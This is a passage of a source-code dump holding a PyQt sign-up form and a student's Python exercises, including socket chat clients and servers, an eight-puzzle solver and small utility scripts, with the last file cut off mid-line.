"5e3528643397070ee69b691693e29a11604ae9ad", "content_id": "4bf4ae812edc871a743b8fe108a0b991f0e577df", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7674, "license_type": "permissive", "max_line_length": 121, "num_lines": 154, "path": "/gui/screens/sign_up.py", "repo_name": "hvsuchitra/tv_tracker", "src_encoding": "UTF-8", "text": "import sys\nimport re\nfrom pathlib import Path\n\nfrom PyQt5.QtCore import QBasicTimer, QThread, pyqtSignal, QRegExp\nfrom PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QGroupBox, QHBoxLayout, QGridLayout, \\\n QFileDialog, QMainWindow, QLineEdit, QLabel, QTableView, QTabWidget, QRadioButton, QFrame, QSystemTrayIcon, QStyle, \\\n QMenu, QSpacerItem, QSizePolicy, QMessageBox, QDialog\nfrom PyQt5 import QtCore, QtGui\nfrom PyQt5.QtGui import QIcon, QFont, QRegExpValidator, QPalette, QImage, QPixmap\n\nfrom common.resources.db.users import User, engine, Session\nfrom common.utils.utils import get_binary, send_mail, SendMailThread\nfrom utils.session import session_scope\n\n\nclass SignUp(QMainWindow):\n def __init__(self, main_window_pos, parent):\n super().__init__(parent)\n self.main_window_pos = main_window_pos\n\n QToolTip.setFont(QFont('SansSerif', 10))\n self.setGeometry((self.main_window_pos.x() + (self.main_window_pos.x() // 25)),\n (self.main_window_pos.y() + (self.main_window_pos.y() // 2)), 300, 250)\n self.setWindowTitle('Sign Up for TV Tracker')\n\n main_widget = QWidget(self)\n self.setCentralWidget(main_widget)\n\n self.grid = QGridLayout()\n main_widget.setLayout(self.grid)\n self.grid.setSpacing(10)\n\n self.user_label = QLabel('Username', self)\n self.grid.addWidget(self.user_label, 0, 0, QtCore.Qt.AlignCenter)\n\n self.password_label = QLabel('Password', self)\n self.grid.addWidget(self.password_label, 1, 0, QtCore.Qt.AlignCenter)\n\n self.confirm_password_label = QLabel('Confirm Password', self)\n self.grid.addWidget(self.confirm_password_label, 2, 0, QtCore.Qt.AlignCenter)\n\n self.email_label = QLabel('Email', self)\n self.grid.addWidget(self.email_label, 3, 0, QtCore.Qt.AlignCenter)\n\n self.user_text_field = QLineEdit(self)\n self.user_text_field.textEdited.connect(self.validate)\n self.grid.addWidget(self.user_text_field, 0, 1, QtCore.Qt.AlignCenter)\n\n self.password_text_field = QLineEdit(self)\n self.password_text_field.setObjectName('password')\n self.password_text_field.setEchoMode(QLineEdit.Password)\n self.password_text_field.textEdited.connect(self.validate)\n self.grid.addWidget(self.password_text_field, 1, 1, QtCore.Qt.AlignCenter)\n\n self.confirm_password_text_field = QLineEdit(self)\n self.confirm_password_text_field.setObjectName('confrim_password')\n self.confirm_password_text_field.setEchoMode(QLineEdit.Password)\n self.confirm_password_text_field.textEdited.connect(self.validate)\n self.grid.addWidget(self.confirm_password_text_field, 2, 1, QtCore.Qt.AlignCenter)\n\n self.email_text_field = QLineEdit(self)\n self.email_text_field.setObjectName('email')\n self.email_text_field.textEdited.connect(self.validate)\n self.grid.addWidget(self.email_text_field, 3, 1, QtCore.Qt.AlignCenter)\n\n self.browse_label = QLabel('Optional Profile Pic', self)\n self.grid.addWidget(self.browse_label, 4, 0, QtCore.Qt.AlignCenter)\n # self.browse_label.setAlignment(QtCore.Qt.AlignCenter)\n\n self.browse_button = QPushButton('Browse', self)\n self.browse_button.clicked.connect(self.browse)\n self.grid.addWidget(self.browse_button, 4, 1)\n\n self.valid_password_label = QLabel('Password Strength', self)\n self.valid_password_label.setStyleSheet('color:red')\n self.grid.addWidget(self.valid_password_label, 5, 0, 1, 2, QtCore.Qt.AlignCenter)\n\n self.match_password_label = QLabel('Passwords Match', self)\n self.match_password_label.setStyleSheet('color:red')\n self.grid.addWidget(self.match_password_label, 6, 0, 1, 2, QtCore.Qt.AlignCenter)\n\n self.valid_email_label = QLabel('Valid Email', self)\n self.valid_email_label.setStyleSheet('color:red')\n self.grid.addWidget(self.valid_email_label, 7, 0, 1, 2, QtCore.Qt.AlignCenter)\n\n self.create_button = QPushButton('Create', self)\n self.create_button.setDisabled(True)\n self.create_button.clicked.connect(self.sign_up)\n self.grid.addWidget(self.create_button, 8, 0, 1, 2, QtCore.Qt.AlignCenter)\n\n self.inputs = (\n self.user_text_field, self.password_text_field, self.confirm_password_text_field, self.email_text_field)\n\n def validate(self):\n sender = self.sender().objectName()\n\n if sender == 'password':\n match = re.search(r\"^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\\$%\\^&\\*])(?=.{8,})\", self.sender().text())\n self.valid_password_label.setStyleSheet(f'color:{\"green\" if match else \"red\"}')\n\n elif sender == 'confrim_password':\n self.match_password_label.setStyleSheet(\n f'color:{\"green\" if self.sender().text() == self.password_text_field.text() else \"red\"}')\n\n elif sender == 'email':\n match = re.search(r\"^.+@[^\\.].*\\.[a-z]{2,}$\", self.sender().text())\n self.valid_email_label.setStyleSheet(f'color:{\"green\" if match else \"red\"}')\n\n allow = list(filter(lambda x: x.palette().color(QPalette.WindowText).name() == '#008000',\n (self.valid_password_label, self.match_password_label, self.valid_email_label)))\n self.create_button.setDisabled(False if len(allow) == 3 and self.user_text_field.text() else True)\n\n def clear(self):\n for field in self.inputs:\n field.clear()\n self.create_button.setDisabled(True)\n self.valid_password_label.setStyleSheet('color:red')\n self.match_password_label.setStyleSheet('color:red')\n self.valid_email_label.setStyleSheet('color:red')\n self.pic_dir = None\n\n def browse(self):\n self.pic_dir = \\\n QFileDialog.getOpenFileName(self, \"Select Profile Picture\", '.', 'Image Files (*.jpg *.jpeg *.png)')[0]\n\n def sign_up(self):\n user = dict(zip(('username', 'password', 'email'), (map(lambda x: x.text().strip(), (\n self.user_text_field, self.password_text_field, self.email_text_field)))))\n self.op_pop_up = QMessageBox(self)\n with session_scope(Session) as session:\n if session.query(User).filter_by(username=user['username']).one_or_none() is None:\n if session.query(User).filter_by(email=user['email']).one_or_none() is None:\n if self.pic_dir is not None and self.pic_dir:\n user['pic'] = get_binary(self.pic_dir)\n new_user = User(**user)\n session.add(new_user)\n self.op_pop_up.setIcon(QMessageBox.Information)\n self.op_pop_up.setText('Yay!')\n self.op_pop_up.setInformativeText(f'Account with username {user[\"username\"]} successfully created')\n self.send_mail_thread = SendMailThread(user['email'], user['username'], user['password'])\n self.send_mail_thread.message_type = 'account_creation'\n self.send_mail_thread.start()\n else:\n self.op_pop_up.setIcon(QMessageBox.Warning)\n self.op_pop_up.setText('Ohh No!')\n self.op_pop_up.setInformativeText(f'Account with email {user[\"email\"]} already exists.')\n else:\n self.op_pop_up.setIcon(QMessageBox.Warning)\n self.op_pop_up.setText('Ohh No!')\n self.op_pop_up.setInformativeText(f'Account with username {user[\"username\"]} already exists.')\n\n self.create_button.setDisabled(True)\n self.op_pop_up.exec_()\n" } ]
13
SiruiHe/PythonExercise
https://github.com/SiruiHe/PythonExercise
d2c41b9dad855278a91a57e9896d16a081dd377d
30abe0b01ffa04c5ffe332f8ddc6e35c28a5012c
d46ca9cee672004a1bd121707c19a348433a3ef5
refs/heads/master
2023-04-08T23:52:59.346950
2021-04-23T11:10:00
2021-04-23T11:10:00
357,567,730
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6346153616905212, "alphanum_fraction": 0.6346153616905212, "avg_line_length": 12.25, "blob_id": "9ca47607580129cbfcfa0451e1e7f10383c14e95", "content_id": "01374b498b5a50f06873dcdbbff1b55b5293d338", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 52, "license_type": "no_license", "max_line_length": 18, "num_lines": 4, "path": "/.history/material/test2_20210314104906.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "a=input(\"input a\")\nb=input(\"input b\")\nc=a+b\nprint(c)" }, { "alpha_fraction": 0.5106761455535889, "alphanum_fraction": 0.5462633371353149, "avg_line_length": 21.440000534057617, "blob_id": "00740a8194c6ab6bccdef6ad01b0c7c68dfadcfd", "content_id": "92118a4f53b0f64202bb48c5ee28592fbff5f513", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 588, "license_type": "no_license", "max_line_length": 50, "num_lines": 25, "path": "/chatapp/server0.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import threading,socket,time\nhost=\"127.0.0.1\"\nport=8888\naddr0=(host,port)\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.bind(addr0)\ns.listen(5)\nwhile(1):\n print(\"开始监听\")\n conn,addr=s.accept()\n print(\"已连接:\"+str(addr))\n data=\"\"\n while(1):\n try:\n data=conn.recv(100)\n except Exception:\n print(\"失败\")\n break\n print(\"收到消息:\"+data.decode(\"utf-8\"))\n if not data:\n break\n msg=time.strftime(\"%y-%m-%d %x\")\n conn.send(msg.encode(\"utf-8\"))\n conn.close()\ns.close()\n\n" }, { "alpha_fraction": 0.4921630024909973, "alphanum_fraction": 0.5138216018676758, "avg_line_length": 23.893617630004883, "blob_id": "182650aa3e1f022ac395938b58047d6b5b4c175b", "content_id": "3e2b647f5d7862957f9f84423bee72bf03212e7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3861, "license_type": "no_license", "max_line_length": 84, "num_lines": 141, "path": "/chatapp/client2.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import threading,time,socket\n\nhost=\"127.0.0.1\"\nport=8888\naddr0=(host,port)\nclinet_receive_flag=0\n\ndef sendmsg(skt,msg=\"\",head=\"\"):\n if len(head)>0:\n msg=head+msg\n skt.send(msg.encode(\"utf-8\"))\n\n\n\ndef client_signup(skt):\n print(\"欢迎注册!\")\n guide=\"signup_guide$\"\n skt.send(guide.encode(\"utf-8\"))\n while(1):\n username=input(\"请输入您想使用的用户名:\")\n text=\"signup_username$\"+username\n skt.send(text.encode(\"utf-8\"))\n msg=skt.recv(100).decode(\"utf-8\")\n\n password=input(\"请输入您想设置的密码:\")\n text=\"signup_password$\"+password\n skt.send(text.encode(\"utf-8\"))\n msg=skt.recv(100).decode(\"utf-8\")\n\n if(msg.lower()==\"signup_ok\"):\n print(\"注册成功,转入登陆界面\")\n break\n else:\n print(\"注册失败,请重试\")\n client_login(skt)\n\ndef client_login(skt):\n print(\"欢迎登录!\")\n guide=\"login_guide$\"\n skt.send(guide.encode(\"utf-8\"))\n while(1):\n username = input(\"请输入您的用户名:\")\n sendmsg(skt,username,\"login_username$\")\n\n password = input(\"请输入您的密码:\")\n sendmsg(skt,password,\"login_password$\")\n msg=skt.recv(100).decode(\"utf-8\")\n if (msg.lower() == \"login_ok\"):\n print(\"登录成功\")\n break\n else:\n print(\"登录失败,请重试\")\n\n\n #转入本客户机发送过程\n client_online(skt)\n \n\ndef client_online(skt):\n global clinet_receive_flag\n print(\"test 登陆成功!\")\n while(1):\n clinet_receive_flag=0\n #stop=0\n while(1):\n #获取在线用户\n sendmsg(skt,\"get_usertemp$\")\n msg = skt.recv(100).decode(\"utf-8\")\n\n print(\"\\n当前在线的用户有:\\n\" + msg)\n chatwith = input(\"请输入想聊天用户的名字:\")\n sendmsg(skt,chatwith,\"online_or_not$\")\n msg=skt.recv(100).decode(\"utf-8\")\n if(msg.startswith(\"online$\")):\n break\n if(msg.startswith(\"offline$\")):\n print(\"无法发送消息给此用户,请重试。\")\n print(\"向用户 \"+chatwith+\" 发送消息\")\n clinet_receive = threading.Thread(target=clinet_thread_receive, args=(skt,))\n clinet_receive.start()\n\n while(1):\n msg=input()\n sendmsg(skt,chatwith+\"$\"+msg,\"chat_with_sb$\")\n if(msg.startswith(\"byebye\")):\n sendmsg(skt,\"say_byebye$\")\n clinet_receive_flag=1\n time.sleep(0.2)\n clinet_receive.join()\n break\n\n\n\ndef clinet_thread_receive(skt):\n global clinet_receive_flag\n while(1):\n if (clinet_receive_flag == 1):\n break\n msg=skt.recv(100).decode(\"utf-8\")\n if(msg.startswith(\"byebye$\")):\n break\n print(\"\\n\"+msg)\n #try:\n # msg = skt.recv(100, 0x40)\n # msg=msg.decode(\"utf-8\")\n #except BlockingIOError as e:\n # msg = None\n #if (clinet_receive_flag == 1):\n #break\n #if(msg):\n #print(\"\\n\"+msg)\n print(\"全局变量被改动。监听线程退出。\")\n #return\n\n\ndef main():\n skt=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n skt.connect(addr0)\n print(\"连接成功。请选择...\")\n print(\"1.注册\\t2.登陆\\t\")\n choice1=input(\">>\")\n if(choice1==\"1\"):\n client_signup(skt)\n if(choice1==\"2\"):\n client_login(skt)\n '''\n while(1):\n data=input(\"输入:\")\n if not data:\n break\n skt.send(data.encode(\"utf-8\"))\n data=skt.recv(100)\n if not data:\n break\n print(\"收到消息:\"+data.decode(\"utf-8\"))\n skt.close()\n '''\n\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.5593721270561218, "alphanum_fraction": 0.5702911615371704, "avg_line_length": 23.005464553833008, "blob_id": "8c13a390f6405cd7b166806a4b46c1a9b5ee4cd9", "content_id": "59e45a8b40a3a33ef9ec04ff3197c7e05512780d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4516, "license_type": "no_license", "max_line_length": 83, "num_lines": 183, "path": "/learn.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "'''\nname=\"\"\nwhile(name!=\"fuckyou\"):\n name=input(\"please input your name\")\n if(name=='fuckyou'):\n print(\"bye bro.\")\n break\n print(name+\" , your name sounds so sexy!\")\n\nprint(\"calculate\")\nsum=0\nfor i in range(3.1,5.1):#need to be interger\n sum=sum+i\nprint(\"sum=\"+str(sum))\n\nimport random, sys, os\n\n\ndef AskForAge():\n myage = input(\"please input your age:\")\n # print(\"your name is \"+myname+\" and the len of it is \"+str(len(myname)))\n print(\"you will be \" + str(int(myage) + 1) + \" in a year.\\nconguatulations!\")\n myage = int(myage)\n if myage > 10:\n print(\"you are a men now.\",end=\"\")\n elif myage <= 10 and myage >= 5:\n print(\"you are still a kid.\",end=\"\")\n else:\n print(\"hi baby.\",end=\"\")\n return myage\n\n\ndef RandomOutput(age):\n times1=int(times)\n for i in range(times1):#cannot modify global varies in local domain\n temp = random.randint(1, 20)\n if (temp != 5):\n print(temp)\n else:\n print(\"NO COMMENTS!\")\n print(\"I know your age is \"+str(age))\n sys.exit()\n\nage=AskForAge();\ntimes=input(\"how MUCH TIMES:\")\nRandomOutput(age)\n\ndef test():\n global a\n a=int(a)\n if(a>1):\n print(a+1)\na=input(\"shuru=\")\ntest()\n\nimport random\ndef test():\n a=random.randint(0,3)\n return 3//a\nfor i in range(10):\n try:#try except 异常处理\n print(test())\n except ZeroDivisionError:\n print(\"AN ERROR OUCCRED.\")\n\ndef collatz(number):\n num=number\n if(num%2==0):\n num=num//2\n else:\n num=3*num+1\n print(num)\n return num\ntry:\n number=int(input(\"Enter number:\\n\"))\n while(1):\n if(number!=1):\n number=collatz(number)\n else:\n break\nexcept ValueError:\n print(\"you have to input a integer!\")\n\nimport random\npresident=['mao','deng','jiang','hu','xi']\nnum=random.randint(1,5)\nprint(\"The greatest president of China is \"+president[num])\nfor i in range(len(president)):\n print(president[i])\nlove=input(\"who's your favorite?:\")\nif love not in president:\n print(\"Sorry.maybe he's in prison.\")\nelse:\n if(love=='mao'or love==\"xi\"):\n print(\"really?cannot believe\")\n else:\n print(\"i think so.\")\n\ndef func(list):\n str=\"\"\n for i in range(len(list)):\n if i!=len(list)-1:\n str=str+list[i]+\", \"\n else:\n str=str+\"and \"+list[i]\n return str\n\nlist=input(\"Please input...:\")\nprint(func(list))\nfrom pprint import *\nmessage='It was a bright cold day in April, and the clocks were striking thirteen.'\ncount={}\nfor character in message:\n count.setdefault(character,0)#设置默认值(如果此时没有)\n count[character]=count[character]+1\npprint(count)\n\n#一个半成品的黑白棋程序\ntheBoard={'top-L':' ','top-M':' ','top-R':' ',\n'mid-L':' ','mid-M':' ','mid-R':' ',\n'low-L':' ','low-M':' ','low-R':' '\n}\ndef printboard(board):\n print(board['top-L']+'|'+board['top-M']+'|'+board['top-R'])\n print('-+-+-')\n print(board['mid-L'] + '|' + board['mid-M'] + '|' + board['mid-R'])\n print('-+-+-')\n print(board['low-L'] + '|' + board['low-M'] + '|' + board['low-R'])\nturn='X'\nfor i in range(9):\n printboard(theBoard)\n print(\"Turn for \"+turn+\".Move on which space?\")\n move=input()\n #try:\n theBoard[move]=turn\n if turn=='X':\n turn='O'\n else:\n turn='X'\n #except ZeroDivisionError:\n #print(\"print error.try again.\")\nprintboard(theBoard)\n\npresident=['mao','deng','jiang','hu','xi']\na=\" love \".join(president)\nprint(a)\n\n\n#p108 项目 完成对剪切板字符串的简单处理\nimport pyperclip\ntext=pyperclip.paste()\n\nlines=text.split('\\n')\nfor i in range(len(lines)):\n if lines[i].startswith('*'):\n continue\n else:\n lines[i]='*'+lines[i]\ntext='\\n'.join(lines)\npyperclip.copy(text)\nprint(\"成功!粘贴即可。\")\n\n\n\n#p111 实践项目 表格打印\ntableData=[['apples','oranges','cherries','banana'],\n ['Alice','Bob','Carol','David'],\n ['dogs','cats','moose','goose']]\ndef printTable(tableData):\n colWidths=[0]*len(tableData)\n for i in range(len(tableData)):\n colWidths[i]=0\n for j in range(len(tableData[i])):\n temp=len(tableData[i][j])\n if(temp>colWidths[i]):\n colWidths[i]=temp\n for j in range(len(tableData[0])): # 4\n for i in range(len(tableData)):#3\n print(tableData[i][j].rjust(colWidths[i]) + \" \", end=\"\")\n print(\"\")\n\nprintTable(tableData)\n'''\n\n\n\n" }, { "alpha_fraction": 0.5143718123435974, "alphanum_fraction": 0.5331478714942932, "avg_line_length": 24.3764705657959, "blob_id": "227959c10026158456224d727d0df48aa5bc7694", "content_id": "03ecc201e90ed2ee4347c780f9831a647ee2c4fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4648, "license_type": "no_license", "max_line_length": 73, "num_lines": 170, "path": "/AI/NineBlocks.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import sys\nimport ast\nimport copy\nfrom functools import cmp_to_key\nsys.setrecursionlimit(1000000)\n\nopenlist = []\nclosedlist = []\nfathergraph = []\ngraph1 = {}\n\nclass Vector():#用来描述节点的数据结构\n def __init__(self, value):\n self.father = 0\n self.deep = 0\n self.value = value\n self.hn = 0\n for x_index, l in enumerate(value):\n for y_index, v in enumerate(l):\n if v == 0:\n self.x = x_index\n self.y = y_index\n\n def __eq__(self, other):\n return self.value == other.value\n\n __hash__ = object.__hash__\n\n def fathers(self, v):\n self.father = v\n\n def deeps(self, d):\n self.deep = d\n\n\ndef search(s0, end):#执行搜索过程\n openlist.append(s0)\n deepmax = 50\n while openlist:\n if method==\"b\":#全局择优搜索,对openlist根据估价函数重新排序\n openlist.sort(key=cmp_to_key(compare_func), reverse=True)\n n = openlist.pop()\n ds = n.deep\n closedlist.append(n)\n if n == end:\n print(\"搜索成功。\")\n break\n res = nextVector(n)\n if res and n.deep < deepmax:\n ds += 1\n M = []\n for x in res:\n if x not in fathergraph:\n M.append(x)\n for x in M:\n x.fathers(n)\n for x in M:\n x.deeps(ds)\n for x in M:\n if (method==\"a\"):#广度优先搜索\n openlist.insert(0,x)\n elif(method==\"b\"):#全局择优搜素\n openlist.append(x)\n\n Graph(graph1, n, M)\n\n\ndef Graph(graph, fathervec, sonvec=[]):\n if fathervec not in graph:\n graph[fathervec] = []\n fathergraph.append(fathervec)\n if sonvec:\n for vec in sonvec:\n graph[fathervec].append(vec)\n fathergraph.append(vec)\n return graph\n\ndef swap_x(V,dx):#交换数码\n x = V.x\n y = V.y\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x+dx][y]\n Vlist[x+dx][y] = temp\n return Vlist\n\ndef swap_y(V,dy):#交换数码\n x = V.x\n y = V.y\n Vlist = copy.deepcopy(V.value)\n temp = Vlist[x][y]\n Vlist[x][y] = Vlist[x][y+dy]\n Vlist[x][y+dy] = temp\n return Vlist\n\n\ndef nextVector(V):#扩展节点\n resultlist = []\n if V.x == 0:\n resultlist.append(Vector(swap_x(V,1)))\n if V.x == 1:\n resultlist.append(Vector(swap_x(V,-1)))\n resultlist.append(Vector(swap_x(V,1)))\n if V.x == 2:\n resultlist.append(Vector(swap_x(V,-1)))\n\n if V.y == 0:\n resultlist.append(Vector(swap_y(V,1)))\n if V.y == 1:\n resultlist.append(Vector(swap_y(V,-1)))\n resultlist.append(Vector(swap_y(V,1)))\n if V.y == 2:\n resultlist.append(Vector(swap_y(V,-1)))\n\n return resultlist\n\ndef compare_func(vec1, vec2):#比较两个vector的代价\n fvec1 = 0\n fvec2 = 0\n for this, target in enumerate(end):\n for i in range(3):\n if vec1.value[this][i]!= target[i]:\n fvec1 += 1\n if vec2.value[this][i]!= target[i]:\n fvec2 += 1\n fvec1 += vec1.deep\n fvec2 += vec2.deep\n return fvec1 - fvec2\n\ndef compare_deep(vec1, vec2):#比较两个vector的深度\n dvec1 = vec1.deep\n dvec2 = vec2.deep\n return dvec1 - dvec2\n\n#main program starts here\nstart=[[2, 8, 3], [1, 0, 4], [7, 6, 5]]\nend = [[1, 2, 3], [8, 0, 4], [7, 6, 5]]\nprint(\"-----------重排九宫-----------\")\nif input(\"是否要修改默认起始状态(y/n):\")==\"y\":\n for i in range(3):\n start[i] = ast.literal_eval(input(\"请以列表形式输入第\" + str(i+1) + \"行:\"))\nprint(\"请选择您想使用的搜索策略:\")\nprint(\"a.广度优先搜索\\tb.全局择优搜索\")\nmethod=input(\"您的选择是:\")\ndeeps = []\nresult = []\ns = Vector(start)\nfathergraph.append(s)\ne = Vector(end)\nsearch(s,e)\nresult_father = closedlist[len(closedlist) - 1]\nwhile result_father:\n result.append(result_father)\n result_father = result_father.father\nresult.reverse()\nprint(\"解路径为:\")\nfor x in result:\n print(x.value)\nsearch_confirm=input(\"是否输出搜索过程?(y/n):\")\nif(search_confirm==\"y\"):\n if (method == \"b\"):#全局择优\n closedlist.sort(key=cmp_to_key(compare_deep))\n for x in closedlist:\n if x.deep not in deeps:\n deeps.append(x.deep)\n print(\"第\",x.deep,\"层的节点有:\")\n for i in range(x.deep):\n print(\"\\t\",end=\"\")\n print(x.value)\nprint(\"结束时closedlist中共有\",len(closedlist),\"个节点\")\n" }, { "alpha_fraction": 0.6290322542190552, "alphanum_fraction": 0.6290322542190552, "avg_line_length": 14.75, "blob_id": "fe4e20bcebccc5bf6669023689ec793a76c40fbd", "content_id": "f518f05af7b88b2c2d59c9944c9a9a0384fa3cf2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 62, "license_type": "no_license", "max_line_length": 23, "num_lines": 4, "path": "/material/test2.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "a=int(input(\"input a\"))\nb=int(input(\"input b\"))\nc=a+b\nprint(c)" }, { "alpha_fraction": 0.6024691462516785, "alphanum_fraction": 0.6074073910713196, "avg_line_length": 22.882352828979492, "blob_id": "ea4f2a28220160d9706c168996bcb7155306a0dc", "content_id": "7f27e01f8f6f2197fd78ee992213b752d8456416", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 573, "license_type": "no_license", "max_line_length": 89, "num_lines": 17, "path": "/rename_bat.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import os\n\n# path为批量文件的文件夹的路径\npath = 'd:\\\\test\\\\one'\n\n# 文件夹中所有文件的文件名\nfile_names = os.listdir(path)\n\n# 外循环遍历所有文件名,内循环遍历每个文件名的每个字符\nfor name in file_names:\n for s in name:\n if s == 'f':\n index_num = name.index(s) # index_num为要删除的位置索引\n\n # 采用字符串的切片方式删除编号\n os.renames(os.path.join(path, name), os.path.join(path, name[0:index_num+1]))\n break # 重命名成功,跳出内循环" }, { "alpha_fraction": 0.6399999856948853, "alphanum_fraction": 0.6399999856948853, "avg_line_length": 16, "blob_id": "49e12072939054a5dc38948e1577d1928d6e34c2", "content_id": "160092d0c97c802edf8162e3f89438fd21ed3bd7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 50, "license_type": "no_license", "max_line_length": 18, "num_lines": 3, "path": "/.history/material/test2_20210314104846.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "a=input(\"input a\")\nb=input(\"input b\")\nprint(c=a+b)" }, { "alpha_fraction": 0.47819432616233826, "alphanum_fraction": 0.5057383179664612, "avg_line_length": 32.53845977783203, "blob_id": "e2a32241f90dbad68110caf9dac0123f6391fecf", "content_id": "0909f1d684b9d5846c6b550fdc7f7af0ad50dde2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1313, "license_type": "no_license", "max_line_length": 91, "num_lines": 39, "path": "/chatapp/send_file_pre.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import socket,os,sys,struct\ndef socket_client():\n #try:\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect((\"127.0.0.1\",8888))\n #except socket.error as msg:\n # print(msg)\n #sys.exit(1)\n\n count=0\n print(s.recv(1024).decode())\n while(1):\n filepath=input(\"Iuput file path:\")\n if len(filepath)==0:\n filepath=r\"C:\\Users\\sword\\Pictures\\老中青.JPG\"\n if os.path.isfile(filepath):\n fileinfo_size=struct.calcsize(\"128sl\")\n filehead=struct.pack(\"128sl\",bytes(os.path.basename(filepath).encode('utf-8')),\n os.stat(filepath).st_size)\n s.send(filehead)\n print(\"client filepath:{}\".format(filepath))\n\n fp=open(filepath,\"rb\")\n while(1):\n data=fp.read(1024)\n count+=len(data)\n if not data:\n print(\"{0} file send over.\".format(filepath))\n break\n s.send(data)\n process = count / os.stat(filepath).st_size * 100\n #print(\"Receiving process: \" + \"%.2f\" % process + \"%\")\n print(\"Sending process: \"+\"%.2f\"%process+\"%\")\n s.close()\n print(\"done.\")\n break\n\nif __name__==\"__main__\":\n socket_client()" }, { "alpha_fraction": 0.5107913613319397, "alphanum_fraction": 0.5323740839958191, "avg_line_length": 17.399999618530273, "blob_id": "3116241c1fc4ea8d715080b6dd6b946f10685dd0", "content_id": "427b42661a6fba90beb3aa178f4e23b0e20bda10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 278, "license_type": "no_license", "max_line_length": 51, "num_lines": 15, "path": "/chatapp/pretest.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import threading\ndef printf(n):\n for i in range(n):\n print(\"LOVE YOU!\")\n\ndef main():\n th = threading.Thread(target=printf,args=(10,))\n th.start()\n sum=0\n for i in range(100):\n sum+=i\n print(\"sum=\"+str(sum))\n\nif __name__==\"__main__\":\n main()\n\n\n" }, { "alpha_fraction": 0.4856313467025757, "alphanum_fraction": 0.5052249431610107, "avg_line_length": 24.708955764770508, "blob_id": "fd28ec1163779c4efa8a395dd152858711983b14", "content_id": "744b3cc8957c29e3defaaba81612e5ca4dfe01a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7162, "license_type": "no_license", "max_line_length": 78, "num_lines": 268, "path": "/chatapp/server3.5.py", "repo_name": "SiruiHe/PythonExercise", "src_encoding": "UTF-8", "text": "import threading,socket,time,shelve,struct\n\nhost=\"0.0.0.0\" #??\nport=8888\naddr0=(host,port)\nglobal usermap\n\n\nuserstate={} #[用户名:socket]的字典\n\ndef sendmsg(skt,msg,head=\"\"):\n if len(head)>0:\n msg=head+msg\n skt.send(msg.encode(\"utf-8\"))\n\n'''\nclass User:\n def __init__(self,skt,username=\"null\"):\n self.skt=skt\n self.username=username\n #self.password=password\n def sendmsg(self,msg):\n self.skt.send(msg.encode(\"utf-8\"))\n def logout(self):\n self.skt.close()\n'''\n\ndef server_signup(skt):\n global usermap\n flag=0\n while(1):\n msg=skt.recv(100).decode(\"utf-8\")\n msg=msg.split(\"$\")\n if(msg[0]==\"signup_username\"):\n username=msg[1]\n flag+=1\n text = \"ok\"\n skt.send(text.encode(\"utf-8\"))\n\n if(msg[0]==\"signup_password\"):\n password=msg[1]\n flag+=1\n if flag==2:\n break\n usermap[username]=password\n text=\"signup_ok\"\n #打出来看一下\n print(usermap[username])\n\n skt.send(text.encode(\"utf-8\"))\n server_login(skt)\n\n\ndef server_login(skt):\n global usermap\n flag=0\n username,password=\"\",\"\"\n while(1):\n msg=skt.recv(100).decode(\"utf-8\")\n msg=msg.split(\"$\")\n if(msg[0]==\"login_username\"):\n username=msg[1]\n if(msg[0]==\"login_password\"):\n password=msg[1]\n if len(username)>0 and len(password)>0:\n try:\n if(usermap[username]==password):\n break\n else:\n sendmsg(skt,\"login_failed\")\n username,password=\"\",\"\"\n except Exception:\n sendmsg(skt, \"login_failed\")\n username, password = \"\", \"\"\n sendmsg(skt,\"login_ok\")\n server_user_online(skt,username)\n\n\n\ndef server_user_online(skt,username):\n global userstate\n global file_permission\n file_permission=0\n print(\"用户 \"+username+\" 成功登陆!\")\n userstate[username]=skt\n\n #send_usertemp(skt)\n\n #服务器消息处理与转发\n while(1):\n msg=skt.recv(100).decode(\"utf-8\")\n msg=msg.split(\"$\")\n print(\"收到\"+str(msg))\n\n if(msg[0]==\"chat_with_sb\"):\n username1=msg[1]\n skt1=userstate[username1]\n newmsg=username+\":\"+msg[2]\n sendmsg(skt1,newmsg)\n if(msg[0]==\"online_or_not\"):\n username1=msg[1]\n if username1 in userstate.keys():\n sendmsg(skt,\"online$\")\n if username1 not in userstate.keys():\n sendmsg(skt,\"offline$\")\n if(msg[0]==\"get_usertemp\"):\n send_usertemp(skt)\n if (msg[0] == 